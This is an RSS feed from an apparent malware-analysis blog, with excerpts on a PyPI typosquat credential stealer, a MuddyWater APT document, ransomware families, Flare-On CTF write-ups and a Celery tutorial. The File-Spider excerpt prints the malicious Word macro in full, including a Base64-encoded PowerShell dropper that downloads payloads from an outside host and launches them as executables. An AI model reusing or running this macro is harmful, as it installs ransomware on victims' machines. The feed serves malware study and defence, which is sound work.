<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Posts on Melted in Hex</title>
    <link>https://meltedinhex.com/posts/</link>
    <description>Recent content in Posts on Melted in Hex</description>
    <image>
      <title>Melted in Hex</title>
      <url>https://meltedinhex.com/images/og-social.png</url>
      <link>https://meltedinhex.com/images/og-social.png</link>
    </image>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Sun, 14 Jun 2026 20:00:00 +0530</lastBuildDate>
    <atom:link href="https://meltedinhex.com/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Peeling the Sandworm: Reversing the nhmpy PyPI Supply-Chain Worm (Shai-Hulud / Hades Wave)</title>
      <link>https://meltedinhex.com/posts/shai-hulud-nhmpy-pypi/</link>
      <pubDate>Sun, 14 Jun 2026 20:00:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/shai-hulud-nhmpy-pypi/</guid>
      <description>&lt;h2 id=&#34;the-short-version&#34;&gt;The short version&lt;/h2&gt;
&lt;p&gt;A package called &lt;code&gt;nhmpy&lt;/code&gt; showed up on PyPI sitting one keystroke away from NumPy (&lt;code&gt;n-h-mpy&lt;/code&gt; instead of &lt;code&gt;n-u-mpy&lt;/code&gt;). It had already been pulled from the index and the wheel was far larger than NumPy has any reason to be, so I pulled the artifact apart to see what it was really doing.&lt;/p&gt;
&lt;p&gt;It turned out to be a credential stealer that goes to real trouble not to look like one. The package carries a complete, working copy of NumPy as cover — install it, &lt;code&gt;import nhmpy&lt;/code&gt;, and it behaves exactly like the library it&amp;rsquo;s impersonating. Nothing breaks, so nothing seems wrong. The malice lives in two extra files: a &lt;code&gt;.pth&lt;/code&gt; file that runs the instant any Python interpreter starts, and a 5.2 MB JavaScript blob it executes through Bun, a runtime it quietly downloads from GitHub at run time.&lt;/p&gt;</description>
    </item>
    <item>
      <title>A new MuddyWater APT campaign spreads Backdoor RAT</title>
      <link>https://meltedinhex.com/posts/a-new-muddywater-apt-campaign-spreads/</link>
      <pubDate>Fri, 11 Jan 2019 22:00:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/a-new-muddywater-apt-campaign-spreads/</guid>
      <description>&lt;p&gt;MuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging PowerShell.&lt;/p&gt;
&lt;p&gt;In October 2018, Kaspersky Lab published a &lt;a href=&#34;https://securelist.com/muddywater/88059/&#34;&gt;good analysis report&lt;/a&gt; on the malware by this APT group.&lt;/p&gt;
&lt;p&gt;Here I am publishing my analysis report on recent malware by this APT group which targeted several parts of the Middle East.&lt;/p&gt;
&lt;p&gt;Sample -  8899c0dac9f6bb73ce750ae7b3250dbd (&lt;a href=&#34;https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection&#34;&gt;Virustotal&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;References :&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.vmray.com/analyses/c873532e009f/report/overview.html&#34;&gt;https://www.vmray.com/analyses/c873532e009f/report/overview.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://twitter.com/360TIC/status/1081080752438009856&#34;&gt;https://twitter.com/360TIC/status/1081080752438009856&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection&#34;&gt;https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://meltedinhex.com/images/a-new-muddywater-apt-campaign-spreads/doc1-85a3eec5.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;The document has obfuscated macro code which contains encrypted binary data. On execution, it decrypts the data, drops files and executes them.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Flare-On Challenge 2018 Writeup</title>
      <link>https://meltedinhex.com/posts/flare-on-challenge-2018-writeup/</link>
      <pubDate>Mon, 01 Oct 2018 02:30:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/flare-on-challenge-2018-writeup/</guid>
      <description>&lt;p&gt;Flare-On is an annual CTF challenge organized by FireEye with a focus on reverse engineering.&lt;br&gt;
Overall, there were 12 challenges to complete, similar to &lt;a href=&#34;https://www.sdkhere.com/2017/10/flare-on-challenge-2017-writeup.html&#34;&gt;last year (2017)&lt;/a&gt;. Instead of a detailed write-up, I am just covering the important parts.&lt;br&gt;
Following are the instructions to solve these challenges:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Analyse the sample and find the key&lt;/li&gt;
&lt;li&gt;Each key looks like an email address and ends with @flare-on.com&lt;/li&gt;
&lt;li&gt;Enter the key for each challenge in Flare-on CTF app to unlock next challenge&lt;/li&gt;
&lt;li&gt;Complete all the puzzles and win a prize&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Flare-On 2018 challenges - &lt;a href=&#34;http://flare-on.com/files/Flare-On5_Challenges.zip&#34;&gt;download&lt;/a&gt;&lt;br&gt;
Password - flare&lt;/p&gt;</description>
    </item>
    <item>
      <title>Analysis of Noblis In-dev Ransomware</title>
      <link>https://meltedinhex.com/posts/analysis-of-noblis-in-dev-ransomware/</link>
      <pubDate>Wed, 13 Dec 2017 22:20:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/analysis-of-noblis-in-dev-ransomware/</guid>
      <description>&lt;p&gt;Noblis is in-development ransomware which is built in Python and packed by PyInstaller.&lt;br&gt;
You can refer to my &lt;a href=&#34;http://www.sdkhere.com/2017/07/reversing-of-python-built-exe.html&#34;&gt;previous blog&lt;/a&gt; to learn how to identify and reverse Python-built executables.&lt;/p&gt;
&lt;p&gt;We have the following sample:&lt;br&gt;
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [&lt;a href=&#34;https://app.any.run/tasks/c8cbcab0-48be-470e-88f4-24617d85a292&#34;&gt;App.Any&lt;/a&gt;]&lt;/p&gt;
&lt;p&gt;The sample is UPX packed; after unpacking we get the following sample.&lt;br&gt;
Hash : A886E7FAB4A2F1B1B048C217B4969762&lt;/p&gt;
&lt;p&gt;The binary has many Python reference strings and a zlib archive appended to it as an overlay.&lt;br&gt;
You can use the &lt;a href=&#34;https://sourceforge.net/projects/pyinstallerextractor/files/&#34;&gt;PyExtractor&lt;/a&gt; tool to extract the Python code from the binary.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Analysis of File-Spider Ransomware</title>
      <link>https://meltedinhex.com/posts/analysis-of-file-spider-ransomware/</link>
      <pubDate>Mon, 11 Dec 2017 23:14:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/analysis-of-file-spider-ransomware/</guid>
      <description>&lt;p&gt;MD5: de7b31517d5963aefe70860d83ce83b9 [&lt;a href=&#34;https://www.virustotal.com/#/file/1753cfa7bec8b6044b07823deee14d9ca366c54b42c1c9d4ff045dac2fc112d9/detection&#34;&gt;VirusTotal&lt;/a&gt;]&lt;br&gt;
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc&lt;br&gt;
FileType: MS Word Document&lt;/p&gt;
&lt;p&gt;The Word file has an embedded macro.&lt;br&gt;
When you look into the macro code, you will find the below snippet.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Private Function decodeBase64(ByVal strData As String) As Byte()
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Dim objXML As MSXML2.DOMDocument
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Dim objNode As MSXML2.IXMLDOMElement
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Set objXML = New MSXML2.DOMDocument
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Set objNode = objXML.createElement(&amp;#34;b64&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    objNode.dataType = &amp;#34;bin.base64&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    objNode.Text = strData
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    decodeBase64 = objNode.nodeTypedValue
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Set objNode = Nothing
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Set objXML = Nothing
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;End Function
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Private Function str() As String
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = &amp;#34;cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = str + &amp;#34;9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0=&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;str = StrConv(decodeBase64(str), vbUnicode)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;End Function
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After Base64 decoding, we will get the following PowerShell script.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Analysis of LockCrypt ransomware</title>
      <link>https://meltedinhex.com/posts/analysis-of-lockcrypt-ransomware/</link>
      <pubDate>Fri, 01 Dec 2017 04:43:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/analysis-of-lockcrypt-ransomware/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.&lt;br&gt;
LockCrypt encrypts all files and renames them with a &amp;lsquo;.lock&amp;rsquo; extension. It also installs itself for persistence and deletes backups.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Flare-On Challenge 2017 Writeup</title>
      <link>https://meltedinhex.com/posts/flare-on-challenge-2017-writeup/</link>
      <pubDate>Sun, 15 Oct 2017 17:04:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/flare-on-challenge-2017-writeup/</guid>
      <description>&lt;p&gt;Flare-On is an annual CTF-style challenge organized by FireEye with a focus on reverse engineering.&lt;br&gt;
Overall, there were 12 challenges to complete. Instead of a detailed write-up, I am just covering the important parts.&lt;br&gt;
Following are the instructions to solve these challenges:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Analyse the sample and find the key&lt;/li&gt;
&lt;li&gt;Each key looks like an email address and ends with @flare-on.com&lt;/li&gt;
&lt;li&gt;Enter the key for each challenge in the Flare-On CTF app to unlock the next challenge&lt;/li&gt;
&lt;li&gt;Complete all the puzzles and win a prize&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Flare-On 2017 challenges - &lt;a href=&#34;http://flare-on.com/files/Flare-On4_Challenges.zip&#34;&gt;download&lt;/a&gt;&lt;br&gt;
Password - flare&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reverse Engineering of Python built executables</title>
      <link>https://meltedinhex.com/posts/reversing-of-python-built-exe/</link>
      <pubDate>Tue, 01 Aug 2017 00:37:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/reversing-of-python-built-exe/</guid>
      <description>&lt;p&gt;PyInstaller and py2exe bundle a Python application and all its dependencies into an executable file. The user can run the EXE file without installing a Python interpreter or any modules.&lt;br&gt;
As we all know, Python is an easy and effortless scripting language, so malware authors prefer Python for writing malware and convert it into an exe file using py2exe or PyInstaller.&lt;/p&gt;
&lt;p&gt;In this blog, I am going to explain how to reverse those binaries and extract the Python source code.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Distributed processing using celery in python</title>
      <link>https://meltedinhex.com/posts/distributed-processing-using-celery-in/</link>
      <pubDate>Thu, 12 Jan 2017 23:30:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/distributed-processing-using-celery-in/</guid>
      <description>&lt;p&gt;Celery is an asynchronous task queue based on distributed message passing. Tasks are executed concurrently on one or more worker servers using multiprocessing, Eventlet or gevent. Tasks can execute asynchronously (in the background) or synchronously (wait until ready).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Architecture:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://meltedinhex.com/images/distributed-processing-using-celery-in/celery_architecture-d8d5269c.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://meltedinhex.com/images/distributed-processing-using-celery-in/celery_architecture-d8d5269c.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fig1 : Celery architecture&lt;/p&gt;
&lt;p&gt;The main part of this architecture is the broker (transporter), which handles all the task processing.&lt;/p&gt;
&lt;p&gt;The client sends tasks to the broker, and the broker uses round robin to distribute those tasks to workers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Analysis of Ransomware spread by JavaScript</title>
      <link>https://meltedinhex.com/posts/analysis-of-ransomware-spread-by/</link>
      <pubDate>Mon, 06 Jun 2016 22:26:00 +0530</pubDate>
      <guid>https://meltedinhex.com/posts/analysis-of-ransomware-spread-by/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The sample is a JavaScript file. After execution, it downloads a BAT file and an EXE file to run, traverses the computer&amp;rsquo;s files, and encrypts 80 kinds of file extensions including documents, pictures, media, etc. After the encryption, it asks for 0.5 BTC to decrypt the files.&lt;/p&gt;
&lt;p&gt;The malware author embeds malicious JavaScript in any kind of input data passed to an application that understands it; the application may be a PDF, SWF, etc.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
